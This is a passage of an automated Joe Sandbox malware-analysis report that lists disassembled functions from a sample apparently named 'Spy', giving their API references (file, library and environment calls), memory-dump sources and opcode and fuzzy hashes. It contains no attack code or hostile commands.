Instruction Fuzzy Hash: 52018471C00649EBCF11AF79CD0189EBB61AF86760F184115F8242B1E1DB398A21EF91

Function 00AA55C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AA8D58: __getptd_noexit.LIBCMT ref: 00AA8D58

__lock_file.LIBCMT ref: 00AA560B

Part of subcall function 00AA6E3E: __lock.LIBCMT ref: 00AA6E61

__fclose_nolock.LIBCMT ref: 00AA5616

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 1559d60b89368231b1f167067845b44ac7732f80a039728024bd7af6bc5c5cd5
Instruction ID: c9fc389840311a78ed505a40683ff5d8f5689c9438f09ff3bfa0b0871f83fa58
Opcode Fuzzy Hash: 1559d60b89368231b1f167067845b44ac7732f80a039728024bd7af6bc5c5cd5
Instruction Fuzzy Hash: 3EF0B471C02B069BD720ABB9890276E77E16F43330F258209E424AB1C1CB7C89019F59

Function 00A8E36D Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00A8E385
Sleep.KERNEL32(00000000), ref: 00A8E3BE

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: c4ed5d35022f36519fc7492f53aeb01e32da4c3dbf63e7cbbf633e8a16550a13
Instruction ID: 4aee850882120d85d13d80f6419ad08bb0c6d40fda3303b6d3e3b0a8eb6d69d4
Opcode Fuzzy Hash: c4ed5d35022f36519fc7492f53aeb01e32da4c3dbf63e7cbbf633e8a16550a13
Instruction Fuzzy Hash: 62F0F871250616AFD360FB69D559BA6B7F8EB49360F004429E82AC73A1DF60AC40CB91

Function 00AA5E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00AA5EB4
__ftell_nolock.LIBCMT ref: 00AA5EBF

Part of subcall function 00AA8D58: __getptd_noexit.LIBCMT ref: 00AA8D58

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 3c90a370d6cbcc729ba38fafcd6107879483ef48a8ef4db12fd93e80bb08fc82
Instruction ID: 9aecf0b1ad49fe513e9f7a41f1c062a920d3d06c832813661a3ebde34dad5cc0
Opcode Fuzzy Hash: 3c90a370d6cbcc729ba38fafcd6107879483ef48a8ef4db12fd93e80bb08fc82
Instruction Fuzzy Hash: 58F0EC32D11615AAD710BB748A0375E76A0AF03331F254206F420BB1D1CF7C4E019B55

Function 00A95AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A95AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 00A95B1F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 694697a6c3d17b0e7a6ef95d7899acee3584f3a1a6df0a51205c5de1da759938
Instruction ID: ed71b5cb0920d247f3d03c68132a106e2b62406637a71e046cdeb89200d2d2c4
Opcode Fuzzy Hash: 694697a6c3d17b0e7a6ef95d7899acee3584f3a1a6df0a51205c5de1da759938
Instruction Fuzzy Hash: 41F0A7719583089FDB929B24DC467D577BCA702308F0002E9FA4897292DFB14B88CF55

Function 00AFC355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: db3f5d81911007e7f9a6e791eb5f62d3513149e1a416f57eff6ecf9f777dd70f
Instruction ID: 3b9ba3c465c9c05c0118d15915e4c254869507d370f5465be5e3cdd39b967efd
Opcode Fuzzy Hash: db3f5d81911007e7f9a6e791eb5f62d3513149e1a416f57eff6ecf9f777dd70f
Instruction Fuzzy Hash: 98B13C35A0010E9FCF14EF95C9919FEB7B5FF58760F10811AFA15AB291EB70A941CB50

Function 00A8A820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction ID: 117f5b2822fdb5acf41958aa9a69d4b4470de0e3b310a77d8d7cc56a50924cdf
Opcode Fuzzy Hash: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction Fuzzy Hash: A361B9706046069FEB10EF54C981F7AB7F5EF24300F11806EE91A9B291E774ED81CB62

Function 00A8D679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a681f8819779e464b59a0b4eb288fb145cb92d3b73cf67965e6236f4ba5e5f8
Instruction ID: f4dae73e9ec02d6d0ccd116c380627d47d61330ab2c6ef7601b6fa53d14b060f
Opcode Fuzzy Hash: 0a681f8819779e464b59a0b4eb288fb145cb92d3b73cf67965e6236f4ba5e5f8
Instruction Fuzzy Hash: 90513935B00604AFCF14EB68CA92EAE77F6AF45750F158568F806AB392DB30ED41CB51

Function 00A9343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A9351A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction ID: 6ca112584d007b714f0a43eb56c3070cc0cc7a7a44cfb937b8873494a96869b6
Opcode Fuzzy Hash: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction Fuzzy Hash: F5319C7A204A02DFCF249F18D480A25F7F0FF49310B15C569E88A8B791DB30E881CB90

Function 00A9410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00A941B2

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5bd1d82b14f8fe5d041fe55ae66dd9f01d07409428ce4b3222bd75ddaff8ff2
Instruction ID: b3a52333c9e40ee5fe3653c47c411a362e2868e61d0c1a208573d82597fbf7b0
Opcode Fuzzy Hash: d5bd1d82b14f8fe5d041fe55ae66dd9f01d07409428ce4b3222bd75ddaff8ff2
Instruction Fuzzy Hash: B2313C71B00616AFCF18CF6DC884A9DB7F5BF58310F248719E81597710D770A9A18B90

Function 00ABE2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00ABE2EA

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 06d97045a3ff0aac559893b6e6e94a9588f9ca3a27201fe2221cef70fe20d7d8
Instruction ID: 3d4b4b5b17d35f51a9152329736c03bdc8b2c614dd2fd2711f1531c86fbf5eda
Opcode Fuzzy Hash: 06d97045a3ff0aac559893b6e6e94a9588f9ca3a27201fe2221cef70fe20d7d8
Instruction Fuzzy Hash: AB411874908341DFEB14EF14C588B5ABBE1BF45358F0989ACE8898B362C371EC85CB52

Function 00A949C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A94B29: FreeLibrary.KERNEL32(00000000,?), ref: 00A94B63

Part of subcall function 00AA547B: __wfsopen.LIBCMT ref: 00AA5486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00A927AF,?,00000001), ref: 00A949F4

Part of subcall function 00A94ADE: FreeLibrary.KERNEL32(00000000), ref: 00A94B18

Part of subcall function 00A948B0: _memmove.LIBCMT ref: 00A948FA

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 333ac3d7428ddd6b8973de9ade03dbee7942c2beba086517e31ec518f3b007df
Instruction ID: e1032ed36b5167377229dd9041cb01c573103245c4af7c6dba5606da54b6b442
Opcode Fuzzy Hash: 333ac3d7428ddd6b8973de9ade03dbee7942c2beba086517e31ec518f3b007df
Instruction Fuzzy Hash: AE11E332750205ABDF10FB70CE06FAE77E99F48741F10842AF542A7591EF709E12ABA4

Function 00ABE3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00ABE3CE

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: bb1c88631b2d48c29f1fb5d8f37f944824daf594443df68d435730b21e26af8c
Instruction ID: c3c89377b96d9e38c2320e137df147b9536b9bf1cc75378619b1a56c96a2222b
Opcode Fuzzy Hash: bb1c88631b2d48c29f1fb5d8f37f944824daf594443df68d435730b21e26af8c
Instruction Fuzzy Hash: EE212EB4908341DFDB14EF14C548A5ABBE4BF84304F0589ACE88A57362D331E849CB92

Function 00A94220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00A93CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00A94276

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 173fbd75e8888eb225e33ddbd847703e20c2e74eb8a070b06b95215a1356fefc
Instruction ID: 00cbb74f9e4a45e46b296b9c0964ee7a3fc1c8a222af95e14a1da82565c3cd76
Opcode Fuzzy Hash: 173fbd75e8888eb225e33ddbd847703e20c2e74eb8a070b06b95215a1356fefc
Instruction Fuzzy Hash: BC113A352007019FDB20CF55C880FA2B7F5FF88710F10C92EE8AA8AA50D7B0E846CB60

Function 00A91A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A91A77

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction ID: 2604d5948a8719738e1fc4ed943517223487456092b3e4c1a08f14ec968b0ae4
Opcode Fuzzy Hash: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction Fuzzy Hash: 4D01D6722017026ED7245B38DD02F67BBE8DB457E0F10852AF51ACB5D1EB31E8408794

Function 00AF495B Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00AF4998

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: e645e859787772b446803af957bf953bbb341b40517370a53d3260d2f7da31b3
Instruction ID: ca8ccb3b4938b18c79e91df6006d2d3a072c22c56c70dbe355ba472886a98861
Opcode Fuzzy Hash: e645e859787772b446803af957bf953bbb341b40517370a53d3260d2f7da31b3
Instruction Fuzzy Hash: ADF03135608109BFCB14FB65D946CAF77BCEF49360B004059F9089B291EF70AD41C750

Function 00AE7C7F Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00AA0FE6: std::exception::exception.LIBCMT ref: 00AA101C
Part of subcall function 00AA0FE6: __CxxThrowException@8.LIBCMT ref: 00AA1031

_memset.LIBCMT ref: 00AE7CB4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction ID: 378b7aae551a4ce7a63242cd33da9c6cfa05379343598904b9379ae5524e5a37
Opcode Fuzzy Hash: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction Fuzzy Hash: 380119752082019FD321EF5CDA41F09BBE5AF5A310F24C45AF5888B392DB72E800CF90

Function 00A94A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00A94AA4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: 111d26a99ba254541999d008f2d7b63d59a38e2d833a3e5e3b333ec85e0f3e30
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: 7EF085B6900208BFDF108F94DC04DEBBBBEEF89320F004198F9045B210D232EA218BA0

Function 00A94A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00A927AF,?,00000001), ref: 00A94A63

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 9ae7015910e87c04e8215fb8ea3407147ed44a56fc48eba4ca61acb12c051203
Instruction ID: 80acbb29bde2e724c9fd8af4ddfe815b69784feff800fdf2239a0ef0bb85510f
Opcode Fuzzy Hash: 9ae7015910e87c04e8215fb8ea3407147ed44a56fc48eba4ca61acb12c051203
Instruction Fuzzy Hash: EEF01571645702CFCF349F68E890C1ABBF0AF183693208A2EE1D683A10C7319984DB48

Function 00A94AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00A94AD0

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: f5d1cf88ad4701d6505689c4cdd9b02b783a64dcb2e08a2128286804a26ca5d1
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: 1EF0FE7150010DFFDF05CF90C941EAA7BB9FB19314F108589F9154B251D336DA21AB91

Function 00AA09C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00AA09E4

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 2b0684b30d22d6ccf35d52289e8c8aa55b90ee3c71b07a68b3c6209116a8fa3e
Instruction ID: d53bfdf15d4f0b9c29b79626606486a5a269dabebfa8db58de4dce5339236fac
Opcode Fuzzy Hash: 2b0684b30d22d6ccf35d52289e8c8aa55b90ee3c71b07a68b3c6209116a8fa3e
Instruction Fuzzy Hash: 90E08632A0012857CB21A6989C15FEA77DDDB89690F0441B6FC09D7205D9649C818691

Function 00AE4D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

